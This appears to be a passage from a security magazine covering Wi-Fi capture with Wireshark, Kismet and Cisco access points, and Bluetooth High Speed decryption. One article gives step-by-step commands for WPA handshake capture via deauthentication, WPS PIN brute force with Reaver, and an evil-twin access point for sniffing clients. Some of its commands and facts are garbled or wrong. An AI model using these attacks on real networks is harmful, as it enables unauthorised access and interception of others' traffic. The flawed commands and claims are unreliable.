Optionally, you can add a new column display channel & frequency. To do so, right click any column heading in Wireshark OS X, select *Column Preferences*, click the *Add* button and select *Frequency/Channel* from the *Field Type* pull-down list. Also rename that new column to something meaningful (e.g., channel).

Note

The *airport utility* can also be used to display nearby access points: Listing 3.

You can repeat the above command in a loop as you walk/survey with your MacBook:

```
# while true; do airport -s; sleep 1; done
```

To stop it, type *control-c*.

Wireshark on Linux

Wireshark can run on several Linux distributions. In order to capture / decode 802.11 frames, you need to set your Wi-Fi adapter into promiscuous mode and use Wireshark from that point. That procedure varies from one Wi-Fi adapter vendor to another.

One way to help achieving this is through the `airmon-ng` utility from the *aircrack-ng* suite. It can be installed on the Linux variant you prefer. You will find convenient to use the *BackTrack* Linux distribution. BackTrack is already loaded with hundreds of tools for penetration testing, security analysis, etc. And it already has both *aircrack-ng* and *Wireshark* installed. You can download the BackTrack .iso file, burn it onto a DVD and boot from that DVD.

BackTrack can later be installed on your hard drive. Even better, install BackTrack on a persistent USB thumb drive and use it to run BackTrack from any laptop that can boot from a USB. With this portable Linux solution, your scripts, test cases, configurations, etc. will be preserved from one boot to another. For more details on how to create a persistent USB for BackTrack, please visit the link listed in the references below.

`airmon-ng` creates a new network interface which is automatically configured to operate in promiscuous mode (or monitor mode). Please note that the *Aircrack-ng* suite will work with several Wi-Fi adapters that are shipped with the laptops and external USB Wi-Fi adapters. A compatibility list is available here: *http://www.aircrack-ng.org/doku.php?id=compatibility_drivers*.

Once you have a Wi-Fi adapter capable of capturing, you can use Wireshark to capture and decode the 802.11 traffic. You can check the interfaces status by typing `airmon-ng`:

```
# airmon-ng

Interface   Chipset  Driver
eth1     Intel 2200BG   ipw2200
```

The eth1 interface above is the built-in Intel Wi-Fi adapter. We now insert the ALFA USB wire-

Listing 3. *The Airport Utility Displaying Access Points*

```
# airport -s

  SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
  linksys 00:18:f8:ef:93:af -87  6       N  -- NONE
  bing    10:c8:d0:1a:e4:f3 -90  10      Y  CA WPA2(PSK/AES/AES)
  NETGEAR 00:0f:b5:5d:06:0c -89  11      N  -- WPA(PSK/TKIP/TKIP)
  BELL789 c0:83:0a:53:b7:41 -88  11      N  US WEP
  lolo    00:22:b0:d2:63:67 -89  1,+1    Y  -- WEP
  xxtnet5 10:84:0d:f4:c8:80 -63  36,+1   Y  CA WPA(PSK/TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)
  xxtnet  20:54:4d:d4:98:4f -64  11      N  CA WPA(PSK/TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)
  Belkin  00:1c:df:39:81:f6 -84  11      N  -- WPA(PSK/TKIP/TKIP)
```

less adapter and invoke `airmon-ng` again. In the following example, we use an external Wi-Fi USB adapter. Its model is ALFA AWUS036EH, 802.11b/g and WPA/WPA2 compliant. It uses a 5 dBi external antenna. Its chipset is a Realtek 8187 and it is packet injection capable.

```
# airmon-ng

Interface   Chipset  Driver
eth1     Intel 2200BG   ipw2200
wlan0    RTL8187  rtl8187 - [phy0]
```

Notice that Linux OS named this interface `wlan0` and the ALFA USB adapter rtl8187 chipset is revealed. Now we set interface `wlan0` into promiscuous mode and we specify channel 11:

```
# airmon-ng start wlan0 11

Interface   Chipset  Driver
eth1     Intel 2200BG   ipw2200
wlan0    RTL8187  rtl8187 - [phy0]
            (monitor mode enabled on mon0)
```

the above command confirms that `wlan0` is now in monitor mode (promiscuous). If you type `airmon-ng` again, you will notice a new `mon0` interface:

```
# airmon-ng

Interface   Chipset  Driver
eth1     Intel 2200BG   ipw2200
wlan0    RTL8187  rtl8187 - [phy0]
mon0     RTL8187  rtl8187 - [phy0]
```

Now start Wireshark and from *Capture* > *Interfaces* > *mon0* > *Options* ensure that you checked Capture packets in *promiscuous* mode (this is the default value).

You can now start capturing on interface *mon0*. Wireshark will capture 802.11 traffic on channel 11 since it was specified in the previous `airmon-ng` command.

Note

To add the *channel* column in Wireshark Linux, proceed as follows: *Edit* > *Preferences* > *User Interface* > *Columns.*

Click *New* and enter a meaningful name in the *Title* field. Then select *Frequency/Channel* from the Format pull-down list. Adjust the column order using the *Up* and *Down* buttons. If you need to change channels, use the *iwconfig* command:

```
# iwconfig mon0 channel 6
```

The above will cause Wireshark to start capturing on channel 6. There is no need to stop Wireshark while doing this.

It is possible that the channel you set using *iwconfig* doesn't take effect. This might happen if your Wi-Fi adapter is associated to an access point. To prevent this, stop your networking daemon:

```
# sudo /etc/init.d/networking stop
```

You may want to enable networking later when you are done with sniffing:

```
# sudo /etc/init.d/networking start
```

Rebooting Linux will remove the `mon0` interface you created earlier with `airmon-ng`. But you can also remove `mon0` as follows:

```
# airmon-ng stop mon0
```

References

- BackTrack Home Page – *http://www.backtrack-linux.org/*
- BackTrack Persistent USB – *http://www.backtrack-linux.org/wiki/index.php/Persistent_USB*
- Aircrack-ng Home Page – *http://www.aircrack-ng.org/*

Wireshark and Kismet

Kismet is an 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. Kismet will work with any wireless card which supports raw monitoring (rfmon) mode, and (with appropriate hardware) can sniff 802.11b, 802.11a, 802.11g, and 802.11n traffic. Every time you launch Kismet, it will create a whole set of new files. For instance:

```
# ls kismet*

Kismet-20121004-13-37-22-1.alert
Kismet-20121004-13-37-22-1.gpsxml
Kismet-20121004-13-37-22-1.nettxt
Kismet-20121004-13-37-22-1.netxml
Kismet-20121004-13-37-22-1.pcapdump
```

Kismet captures 802.11 frames in the file with extension .pcapdump. To ensure files are unique, Kismet prefixes them as follows: `Kismet-yymmdd-hh-mm-ss-sequence#`.

While using Kismet to perform Wi-Fi network analysis, 802.11 frames are collected on various channels. By default, Kismet is configured to

do *channel hopping*. That is, Kismet will capture some 802.11 frames on channel 1, then will move to channel 6 and collect some frames, and then move to channel 11, etc. If you need to focus on a specific channel (e.g., channel 11), you can easily change this from the Kismet GUI as follows:

```
Kismet > Config Channel
default is (*) Hop
set it to (*) Lock and set Chan/Freq to 11
```

If you have the *aircrack-ng* suite installed, you can issue the `airmon-ng` command to examine the interfaces:

```
# airmon-ng

Interface   Chipset  Driver
eth1     Intel 2200BG   ipw2200
wlan0    RTL8187  rtl8187 - [phy0]
wlan0mon    RTL8187  rtl8187 - [phy0]
```

Above, are listed two physical interfaces, `eth1` with an Intel chipset and `wlan0` with a Realtek 8187 chipset. Kismet is currently configured to use `wlan0` for network analysis. After starting Kismet for a first time, it will create a *monitor mode* logical interface called `wlan0mon`. Kismet uses that interface to perform both network analysis and 802.11 frame capture.

Listing 4. *The Usage of Kismet*

```
# iwconfig

lo   no wireless extensions.

eth0    no wireless extensions.

eth1    unassociated ESSID:off/any
     Mode:Managed Channel=0  Access Point: Not-Associated
     Bit Rate:0 kb/s   Tx-Power=20 dBm   Sensitivity=8/0
     Retry limit:7   RTS thr:offFragment thr:off
     Encryption key:off
     Power Management:off
     Link Quality:0  Signal level:0  Noise level:0
     Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
     Tx excessive retries:0  Invalid misc:0   Missed beacon:0

wmaster0  no wireless extensions.

wlan0   IEEE 802.11bg  ESSID:""
     Mode:Managed Frequency:2.462 GHz  Access Point: Not-Associated
     Tx-Power=27 dBm
     Retry min limit:7   RTS thr:off   Fragment thr=2352 B
     Encryption key:off
     Power Management:off
     Link Quality:0  Signal level:0  Noise level:0
     Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
     Tx excessive retries:0  Invalid misc:0   Missed beacon:0

wlan0mon  IEEE 802.11bg  Mode:Monitor  Frequency:2.462 GHz  Tx-Power=27 dBm
     Retry min limit:7   RTS thr:off   Fragment thr=2352 B
     Encryption key:off
     Power Management:off
     Link Quality:0  Signal level:0  Noise level:0
     Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
     Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

The `iwconfig` command will also list the system interfaces. The following example shows two physical interfaces, `eth1` and `wlan0` along with logical interface `wlan0mon` (Mode:Monitor). As we previously locked the channel to 11, interface *wlan0mon* displays frequency 2.462 GHz which translates to channel 11. If you do not explicitly configure Kismet to lock in a specific channel, this will be reflected every time you execute the `iwconfig` command (the *frequency* value will vary constantly) (Listing 4).

After collecting 802.11 frames for a certain time, you can stop Kismet. Next, start Wireshark from the command line followed with the `.pcapdump` file name:

```
# wireshark Kismet-20121004-13-37-22-1.pcapdump
```

Or if you prefer, start Wireshark and then: File > Open > your *.pcapdump* file.

In case 802.11 frames are not decoded properly in Wireshark, check the `pcapdumpformat` parameter in Kismet configuration file *kismet.conf*. If is usually located under directory `/usr/etc`. You should see something similar to:

```
#pcapdumpformat=ppi
pcapdumpformat=80211
```

By default, `pcapdumpformat` is set to *ppi*. Try commenting out `ppi` and uncomment *80211*. Restart Kismet, capture 802.11 frames for a while, then stop Kismet and use Wireshark to decode the newly created `.pcapdump` file.

References

- Kismet Home Page – *http://www.kismetwireless.net/*
- Kismet Documentation – *http://www.kismetwireless.net/documentation.shtml*

Wireshark and Cisco Lightweight AP

A Cisco LAP (*Lightweight Access Point*) is an enterprise AP that runs a lightweight IOS image (not to be confused with Apple iOS). Several enterprise LAPs will join a Cisco WLC (*Wireless LAN Controller*). LAPs then encapsulate all 802.11 client traffic in CAPWAP (RFC5415) frames and forward them to the WLC. This mode of operation is known as CUWN or Cisco Unified Wireless Networking.

Each LAP normally runs in *local* mode and forwards all client traffic to the WLC. You can configure a LAP in *sniffer* mode so it can capture 802.11 frames and forward them to a workstation that runs Wireshark. As a network administrator of several hundreds of LAPs, you can use Wireshark to sniff any LAP without having to travel to remote sites. In order to achieve this, you need to configure both the LAP and the Wireshark workstation.

LAP Configuration

From the WLC graphical interface, under the *Wireless* tab, select a LAP that you will dedicate as a sniffer. From the LAP *General* tab configure the *AP Mode* to *Sniffer*. The WLC will warn you that the LAP requires a reboot. Click on the OK button and wait a few minutes for the LAP to display again in the WLC user interface (Figure 2).

Next, from the *Wireless* tab, select the radio for which you need to capture traffic (802.11a/n or 802.11b/g/n) *Wireless > Access Points > Access Point Name > Radios 802.11a/n or 801.11b/g/n.*

Then, hover your mouse cursor on the blue triangle on the right and when the small pop-up displays, click *Configure* (Figure 3).

Under *Sniffer Channel Assignment*, check *Sniff*, then provide a channel on which to capture and then configure the *IP address* of the workstation running Wireshark. In the example below, the channel is set to *11* and the workstation is at IP *192.168.1.104* (Figure 4).

Wireshark Configuration

Start Wireshark on your *wired* workstation (e.g. at the IP address configured above).

Next, make sure you set Wireshark to decode for either *AIROPEEK* or *PEEKREMOTE*. This depends on the version of Wireshark you use. Starting with Wireshark 1.8.0, only PEEKREMOTE is available. These decodes were originally developed for Airopeek / Omnipeek but also work with Wireshark. You will find more information about these decodes in the references section below (Figure 5).

Analyze > Decode As
Transport Tab > UDP source (5555) AIROPEEK or PEEKREMOTE

Figure 2. *WLC Sniffer Mode*

Next, set the interface capture options to receive only traffic on UDP/5555

This filter is optional but strongly recommended as it excludes all the non-wireless related traffic from the capture. Consider that the WLC sends traffic to a UDP port there's no application listening on the sniffer side; this results in having a ICMP port-unreachable response for each packet received from the WLC.

Although this is expected, the filter above helps to exclude also this traffic which is useless and so it can only cause the trace to be bigger and more difficult to read.

Capture > Interfaces > Options

- double click the interface that will be used for capture

Figure 3. *WLC Configure Radio*

Figure 4. *WLC Sniffer Channel*

Figure 5. *Wireshark Peekremote*

Figure 6. *Wireshark Capture Filter*

- set the *Capture Filter* box to: *udp port 5555* (Figure 6)

Wireshark now displays 802.11 traffic captured from the Cisco LAP. Whenever you are done with the capture, you can return to the WLC and reset the LAP configuration to *local* mode.

References

- CAPWAP RFC – *http://tools.ietf.org/html/rfc5415*
- Cisco Unified Wireless Networking – *http://www.cisco.com/en/US/products/hw/wireless/index.html*
- Wireshark Display Filter Reference – *http://www.wireshark.org/docs/dfref/a/airopeek.html; http://www.wireshark.org/docs/dfref/p/peekremote.html*

Conclusion

Wireshark remains a free / low-cost solution for capturing wireless frames. Wireshark can be used to capture and decode 802.11 Wi-Fi traffic on a variety of operating systems. Third-party tools can collect Wi-Fi traffic and save it in Wireshark readable format. Additionally, specialized hardware can capture 802.11 traffic and forward it directly to Wireshark for analysis. Depending on the operating system in use, you will need specific Wireshark / system configuration as well as appropriate hardware to get the job done.

STEVE WILLIAMS

Steve Williams is a freelance consultant with expertise in Wi-Fi, Firewalls and Identity Management. Mr. Williams has been in the consulting business for the past 20 years. During that time, he tackled very large projects with major North American ISPs (Internet Service Providers), cable companies, manufacturing, banking. He also had the opportunity to consult and provide Wi-Fi training to several enterprises, public and educational entities. Mr. Williams is the founder of Sudo Networks based in Montreal, Canada and he can be reached at info@sudonetworks.com.

HIGH-TECH BRIDGE®

INFORMATION SECURITY SOLUTIONS

www.htbridge.ch

ORIGINAL SWISS ETHICAL HACKING

Digital Forensics

Malware Analysis

Penetration Testing

Source Code Review

Security Audit & Consulting

GENEVA WORLD TRADE CENTER II T. +41 22 723 24 24 F. +41 22 788 35 71 info@htbridge.ch

An Introduction

to the Rise (and Fall) of Wi-Fi Networks

The history of the Internet is directly related to the development of communication networks. A story that comes from the idea of connecting users, allowing them to communicate and share their life and work. Diivided into stages, the sum of which has created the Internet as we know it today. The first projects of this idea were born in the 1960's and then became "standard" near the 1980's spreading globally at an alarming rate.

Starting with approx 1000 computers in 1984 to around 2 billion users in the network now, the jump is incredible and it's seemingly proportional to our need to communicate more and more.

Wi-Fi was born relatively late in this evolution but access is now available in airports, universities, schools, offices, homes and even underground train stations.

But how secure are the technologies that we are entrusting with our information today?

Remember the discovery of the first BUG in the history of computers?

It was September 9th, 1947, and Lieutenant Grace Hopper and his team were looking for the cause of the malfunction of a computer when, to their surprise, they discovered that a moth was trapped between circuits. After removing the bug (at 15.45), the Lieutenant removed the moth jotted down in his notes': "Relay # 70 Panel F (moth) in relay. First actual case of bug being found"

It's a funny little case, but if you give it some thought, with a significant increase in complexity of software and encryption protocols we continue to have a lot of "BUGS" fluttering around.

Just think of encryption protocols such as DES (used by WEP) with an encryption key that is too short (56 bits effective) to ensure adequate security especially when encrypting several GB of data. Especially today when 1GB is enough to do nearly nothing.

And so WPA was born. But the problem is still the mother.

During 2008, it was shown that attacks could compromise the algorithm WPA and in 2009 researchers have shown to be able to force a WPA connection in 60 seconds. This attack has been executed in particular on the encryption method called WPA-PSK (TKIP).

The WPA2-AES is currently immune to this issue, and remains the last standard system that does not require server authentication and is resistant to potentially dangerous attacks.

AES is purely a successor to DES, it accepts keys of 128, 192 and 256 bit, and it's pretty fast both in hardware and in software. It was selected in a competition involving hundreds of projects over several years. In practice, more than this could not be done.

Then Wi-Fi Alliance introduced the terms WPA2-Personal and WPA2-Enterprise to differentiate the two classes of security. The WPA2-Personal uses the method PSK shared key and WPA2-Enterprise use server and certificate for authentication.

In this article we will explain how you can test your network, to learn something new and why not do some auditing at the same time.

The first steps are more or less shared between the various methods, and are used to enable the mode „monitor" in the kernel. In this way, the card will be able to capture packets into the ether without being associated with any specific access point (henceforth AP).

If you really do not want to install and setup the environment, you can download backatrack at: *www.backtrag.org*. Backtrack is a well-known pentesting distribution, mainly because by default it installs a nice and ready environment to test the safety not only of Wi-Fi networks but different kinds of vulnerability. Obviously it doesn't encompass everything but it's a good start for both business and novice, as well as professionals. This reference is designed for Linux but that does not mean that those who use Mac or Windows can not use this guide with a few tweaks.

WPA

Prepare your environment:

- Aircrack unload from the site *www.aircrack-ng.org/downloads.html*
- and then extract the archive.
- You can also download the version that supports the use of CUDA, but it depends on your hardware. Remember that you need a Wi-Fi adapter that support the injection.

To prepare the environment

```
$ sudo apt-get install build-essential libssl-dev
$ tar-xzvf aircrack-ng-1.1.tar.gz
$ cd aircrack-ng-1.1
$ sed-i 's /-Werror / /' common.mak
$ make && sudo make install
```

At this point we can activate the monitor mode, also known as RFMON.

It's a mode that allows our board to monitor all packets received from a given wirless network, and in contrast to the mode 'promiscuous', used for example in packet sniffing, enabling us to capture packets without necessarily being associated with an AP, then:

```
$ airmon-ng start wlan0
```

At this point we can detect the available networks:

```
$ airodump-ng wlan0
```

The value we see on screen are

- BSSID – The physical address of the access point. We will use it often in subsequent commands to indicate which AP we are looking.
- CH – The channel on which the access point operates.
- ENC – The cryptographic protocol used by the network. This information is important, because we need to work in a different way depending on whether the network is protected by WEP or WPA/WPA2
- ESSID – The name of your wireless network

Cracking WEP is easier as you don't need to search for an authenticated client on the AP. With WPA you will need to sniff for an authentication handshake. First let's run the following command to capture the packets on the mac address of the AP.

```
airodump-ng --bssid <BSSID> --channel <channel>
   -w handshake mon0
```

Now open another terminal and type the following command to deauthenticate the client, this will force an authentication on the AP:

```
aireplay-ng -0 10 -a <BSSID> -c <client_MAC> mon0
```

Now if we want to be sure that you have captured a valid handshake you can open Wireshark and insert the filter "eapol", there should be 4 packets, two forward and two in the back.

Since the password crack is done by brute-force, we need a wordlist as large as possible (we can found lots of good dictionary on the web ready for the download):

```
aircrack-ng -w -b <WORDLIST_FILE> <BSSID> handshake*.cap
```

If the password is not in our list, the crack will fail. As mentioned earlier, there are other methods, that speed bruteforce as the use of airolib, or one that uses CUDA nVidia cards.

There are a few online services if you have some money to spend. One of them is: *https://www.cloudcracker.com/*.

WPS Crack

Wi-Fi Protected Setup (WPS) and is a standard for the establishment of safe-connections on a Wi-Fi network. Many of you will surely have an AP at home that supports this technology.

In this case the tool we need is called Reaver and can be downloaded from the website: *http://code.google.com/p/reaver-wps/*.

Reaver is concerned with making a Bruteforce attack type chosen on the AP, and it tests every possible combination in an attempt to flush out the 8-digit PIN typical of this type of setup. Since the PIN is numeric only there are 10 ^ 8 (100,000,000) of possible values for each pin. Attempts are drastically reduced since WPS cuts the pin in two separate parts. This means that there will be 10,000 possible values for

the first part of the pin and only 1,000 for the second part, with the last character which acts as a checksum. Reaver is tool that is concerned for making bruteforce attack against wps on our router. We can find the sources here: *http://code.google.com/p/reaver-wps/*. Once downloaded we can install it:

```
$ tar -xzvf reaver-1.4.tar.gz
$ cd reaver-1.4
$ cd src
$ ./configure
$ make && sudo make install
```

We start the monitor mode:

```
$ airmon-ng start wlan0
```

And we start a network scan looking for routers with WPS enabled:

```
$ wash -i mon0
```

So once identified his BSSID use the router to start the bruteforce:

```
$ reaver -i mon0 -vv -f -c 2 -b <BSSID> -x 60
```

After some times we should see something like this:

```
[+] 97.90% complete @ 2013-04-20 21:13:14 (15
                 seconds / attempt)
[+] WPS PIN: 'XXXXXXXX'
[+] WPA PSK : 'XXXXXXXXXXXXXX'
[+] AP SSID: 'XXXXXXXXXXX'
```

Done!

Evil Twin Attack

This type of attack is more common than what you think and is carried out mainly in public places, but it can be used almost anywhere. The simple aim is to simulate a real AP to allow clients to connect and use our connection. This makes it easy to sniff the traffic passing through our network interface. Preparing the trap: First, let's start the mode' monitor:

```
$ airmon-ng start wlan0
```

Then we can configure the network adapter that will act as a router for the traffic of the clients. In this case i've used my ethernet card:

```
$ ifconfig eth0 up
$ ifconfig eth0 netmask <IP> <netmask>
$ route add default gw netmask <GW_IP> <netmask>
```

Then, we can start the fake ap with:

```
$ airbase-ng -e "Free_WIFI" -c 2 -v ath0
```

In this case we use the ESSID "Free_WIFI" as example. We should use the SSID that the client normally uses to connect, or one that they want to use to have their free Wi-Fi. If we are in the first scenario we can also send a deauthentication, at the WPA attack, to force the client to reconnect, or in the second scenario, to wait for clients to connect and make MITM to sniff traffic.

Now we can bring up and configure the device created from airbase with an ip address:

```
$ ifconfig t0 up
$ ifconfig t0 10.0.0.1 netmask 255.255.255.0
```

At this point to allow clients to connect to us easily we should set up a DHCP server, the DHCP server will take care to assign each client the correct configuration.

Let's edit the configuration file then the dhcp daemon (dhcpd) as follows:

```
$ vi /etc/dhcp3/dhcpd.conf

option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
 range 10.0.0.10 10.0.0.50;
 option routers 10.0.0.1;
 option domain-name-servers 8.8.8.8 8.8.4.4;
}
```

and restart the service to reload the configuration file:

```
$ /etc/init.d/dhcpd3 restart
```

Now the last step is to enable the packet forwarding and the NAT to give to the network on the Wi-Fi interface access to internet:

```
$ iptables -t nat -A POSTROUTING -o eth0 -j
                 MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_foward
```

Now we do not even need to do MITM to capture traffic, We can start tcpdump or airmong to watch the traffic passing through the network card.

Wireshark

PCAP and is an API (application programming interface) mainly used on UNIX systems, and exported later on Microsoft systems.

Libpcap was originally developed by the creators of tcpdump and then ported into a library by extracting the low level code of the application. Libpcap is today used as a standard for all the analysis tasks over the network and as we see in this article tool like airodump export the captured traffic in this format.

But how we can actually understand what is going on from a network point of view?

Wireshark is an open source network packet analyzer that offer similar functions of tcpdump and allows you to make the packet sniffing a less stressing task.

The main function is to analyze live, in real time, data in transit over a network or it can analyze data previously saved to a pcap file. The data can be analyzed using either the graphical user interface or from the command line through tshark. It offers a convenient function of filtering information allowing the user to more easily locate the data of interest.

Using this type of application requires a good knowledge of how protocols work, and allows us to troubleshoot problems in a rather granular way.

Upon first starting Wireshark presents a rather intuitive GUI (Figure 1).

If you do not want to analyze one of the dump of the traffic generated by us (with `airmon-ng` or tcpdump) we can initiate a live traffic analysis by clicking on the icon that list available interfaces: Figure 2.

And selecting the interface on which we want to perform the analysis and CLICK on start: Figure 3.

At this point we will see highlighted different types of packets in different types of colors. Wireshark makes use of colors to help traffic analysis and to easily identify the traffic.

Shown in green are TCP traffic, in blue DNS traffic, light blue and black UDP traffic identifies malformed packets, out-of-order or with formally incorrect checksum (Figure 4).

For filter the traffic Wireshark provides a filter box.

In this case we used the DNS filter, and wireshark confirms that the syntax of our filter is correct using a green background. Pretty cool isn't?

Selecting each line we could deepen our understanding of each package, the flags used by the Ethernet frames, allowing for a rather detailed troubleshooting: Figure 6.

Figure 1. *Wireshark*

Figure 2. *Icon that Lists Available Interfaces*

Figure 3. *Interface Selecting*

Figure 5. *Filterbox*

Figure 4. *TCP Traffic, DNS Traffic, UDP Traffic*

So often Wireshark's additional functionality is rather interesting and has become more common than tcpdump. It offers the opportunity to follow the stream TCP or SSL in a few clicks, selecting the packet you are interested in on the right and selecting the „Follow TCP stream" for example (Figure 7).

What will show us the contents of the entire TCP stream and apply filters to find it now in the midst of thousands of packets contained in the sniff (Figure 8).

Then clicking on „Filter out this stream" we can see the data stream of the selected packets.

Or we can apply filters to the packets that interest us by selecting the packets with the right button and then choose „Apply as filter" (Figure 9 and Figure 10).

And wireshark will select the right filters for us based on our selection of one or more packets.

We can then use Wireshark to troubleshoot on our network, or on our switch, or during our Wi-Fi testing sessions and allow us to analyze tge traffic in depth. Obviously this requires a thorough understanding of network protocols that we will analyze in future articles.

If your network does not allow you to capture interesting traffic you can always use the examples on the site: *http://wiki.wireshark.org/SampleCaptures*.

Figure 6. *Detailed Troubleshooting*

Figure 7. *Follow TCP Stream*

Figure 8. *Contents of the Entire TCP*

ALESSIO GAROFALO

I have 6 years of experience in managing software for GNU/Linux and other UNIX-like operating systems in production environment. I started using these systems in 2001 and applied them with passion in my career. My non-studying time was spent collaborating actively with open-source projects, as well as PaLug, the Linux User Group of Palermo. I consider myself a "free software evangelist" for my contributions to those organizations. During these years I've helped out projects such as Debian and Initng. In the latter part of 2009 I moved to Rome, looking for more exciting experiences, I joined Telecom Italia and this gave me the opportunity to increase my skills and have a deeply technical knowledge of Linux and UNIX systems, practiced in enterprise environments. I have earned very good skills in cyber-security in the past 2 years. This was possible because from an early age my genuine curiosity gave me the possibility to learn and see different types of systems and to understand the culture and meeting the people behind this world.

Figure 9. *Selecting the Packets*

	Time	Source	Destination
82	8.877599000	192.168.0.2	74.125.132.189
90	9.202130000	192.168.0.2	74.125.132.189
101	9.270405000	192.168.0.2	74.125.132.189
106	9.465440000	192.168.0.2	74.125.132.189
114	9.493147000	192.168.0.2	74.125.132.189
116	9.493489000	192.168.0.2	74.125.132.189
118	9.529481000	192.168.0.2	74.125.132.189
128	9.792443000	192.168.0.2	74.125.132.189
136	9.863883000	192.168.0.2	74.125.132.189
168	10.081373000	192.168.0.2	74.125.132.189
176	10.153253000	192.168.0.2	74.125.132.189
6	0.021313000	192.168.0.2	92.96.139.227
8	1.539077000	192.168.0.2	93.184.221.133

Figure 10. *Apply as Filter*

Protected Only by Antivirus?

Complete your PC's security by running Malwarebytes Anti-Malware alongside your Anti-Virus to become fully protected from the latest threats.

Protect Your Business Now!

Visit Malwarebytes.org

For more information,

Contact us at Corporate-Sales@Malwarebytes.org

Malwarebytes

Decoding

and Decrypting Network Packets with Wireshark

In the article I will cover dissecting and decrypting Bluetooth High Speed over wireless traffic.

The main idea is that well known Bluetooth protocols, profiles and security mechanisms to be used with secondary radio are already present in many devices. Given that secondary radio is usually significantly faster we achieve faster data transfer while keeping existing API. The user does not need to wory about changing his code. See [1] for more details.

There are two flows of traffic during High Speed data transfers. One is coming through BR/EDR Bluetooth channel and the other through a wireless 802.11 interface. In this article decoding wireless traffic will be covered. Since an L2CAP connection is established through Bluetooth, the wireless dump lacks the connection signalling packets and therefore Wireshark cannot find out which protocol is in use on upper layers. Wireshark also needs Bluetooth the key to be able to decrypt wireless frames.

Figure 1. *Captured Wireless Traffic*

Encryption Basics

Connections between High Speed devices are encrypted and share symmetric keys. In 802.11 it has name Pairwise Transient Key. The PTK is generated by concatenating the following attributes: PMK, AP nonce (ANonce), STA nonce (SNonce),

Listing 1. *Registration of Bluetooth OUI*

```
#define OUI_BLUETOOTH      0x001958 /*
                    Bluetooth SIG */

void proto_register_bt_oui(void)
{
    static hf_register_info hf[] = {
        { &hf_llc_bluetooth_pid,
          { "PID",     "llc.bluetooth_pid",
                    FT_UINT16, BASE_HEX,
              VALS(bluetooth_pid_vals), 0x0,
                    "Protocol ID", HFILL }
        }
    };

    llc_add_oui(OUI_BLUETOOTH, "llc.bluetooth_
                    pid", "Bluetooth OUI PID",
                    hf);
}
```

Listing 2. *Types of Bluetooth High Speed Frames*

```
#define AMP_U_L2CAP     0x0001
#define AMP_C_ACTIVITY_REPORT0x0002
#define AMP_C_SECURITY_FRAME 0x0003
#define AMP_C_LINK_SUP_REQUEST  0x0004
#define AMP_C_LINK_SUP_REPLY 0x0005

static const value_string bluetooth_pid_vals[] = {
   { AMP_U_L2CAP,       "AMP_U L2CAP ACL data" },
   { AMP_C_ACTIVITY_REPORT,  "AMP-C Activity Report" },
   { AMP_C_SECURITY_FRAME, "AMP-C Security frames" },
   { AMP_C_LINK_SUP_REQUEST, "AMP-C Link supervision request" },
   { AMP_C_LINK_SUP_REPLY, "AMP-C Link supervision reply" },
   { 0,  NULL }
};
```

Listing 3. *Registering Eapol and btl2cap Dissectors*

```
void proto_reg_handoff_bt_oui(void)
{
   dissector_handle_t eapol_handle;
   dissector_handle_t btl2cap_handle;

   eapol_handle = find_dissector("eapol");
   btl2cap_handle = find_dissector("btl2cap");

   dissector_add_uint("llc.bluetooth_pid", AMP_C_SECURITY_FRAME, eapol_handle);
   dissector_add_uint("llc.bluetooth_pid", AMP_U_L2CAP, btl2cap_handle);
}
```

Listing 4. *Adding Second LLC Header*

```
file: epan/crypt/airpdcap.c function: AirPDcapPacketProcess

const guint8 bt_dot1x_header[] = {

        0xAA,             /* SSAP=SNAP */
        0x03,             /* Control field=Unnumbered frame */
        0x00, 0x19, 0x58, /* Org. code=Bluetooth SIG */
        0x00, 0x03        /* Type: Bluetooth Security */
};

/* Filter 802.1X authentication frames */
if (memcmp(data+offset, dot1x_header, 8) == 0 ||
    memcmp(data+offset, bt_dot1x_header, 8) == 0) {
```

AP MAC address, and STA MAC address. Terminology 802.11 means: STA – station and AP – access point, for High Speed initiator and responder, a nonce is an arbitrary number used only once in a cryptographic communication. PMK is a shared secret key between two AMP controllers. It is valid throughout the whole session and needs to be exposed as little as possible. For more information see [3].

Getting Pairwise Master Key (PMK)

Bluetooth provides key material for wireless security by creating Dedicated AMP Link Key which is used by wireless devices as Pairwise Master Key. The PMK is needed for decrypting wireless encrypted frames.

After we pair two devices (SSP pairing is needed) bluetooth creates Bluetooth Link Keys (LK) which are usually stored. In Linux, the LK can be found in the following path:

```
/var/lib/bluetooth/<MAC Address>/linkkeys .
```

First we create Generic AMP Link Key (GAMP) given known LK.

`GAMP_LK = HMAC-SHA-256(LK||LK, 'gamp', 32)` where `LK||LK` means concatenations of 2 16 bits Link Keys forming 32 bit result array. Then we create Dedicated AMP Link Key.

`Dedicated_AMP_Link_Key = HMAC-SHA-256(GAMP_LK, '802b', 32)`. See [2] "Vol 2: 7.7.5 The Simple Pairing AMP Key Derivation Function h2" for more info.

The result PMK will be used by wireshark decryption engine after some modification below.

Decoding Bluetooth High Speed Traffic Over Wireless

Figure 1 shows captured wireless traffic taken with an external wireless card in monitor mode filtered by MAC addresses. We see two types of frames: LLC frames and 802.11 data which Wireshark was able to decode. Since we know that all High Speed frames shall have LLC headers we might assume that those frames without LLC headers are encrypted and that means that authentication and key generation is happening in packets marked as LLC.

The Bluetooth specification specifies encapsulation methods used for data traffic in [2] "Vol 5: Table 5.1: 802.11 AMP LLC/SNAP encapsulation." Wireshark already has LLC dissector and we only need to define our *Organization Unique Identifier* (OUI) or Company Id and then register our OUI like it is shown in Listing 1.

Once complete, packets with Bluetooth OUI will be identified as Bluetooth High Speed packets. The field `llc.bluetooth_pid` identifies the type of data the packet contains. Listing 2 shows all possible data types.

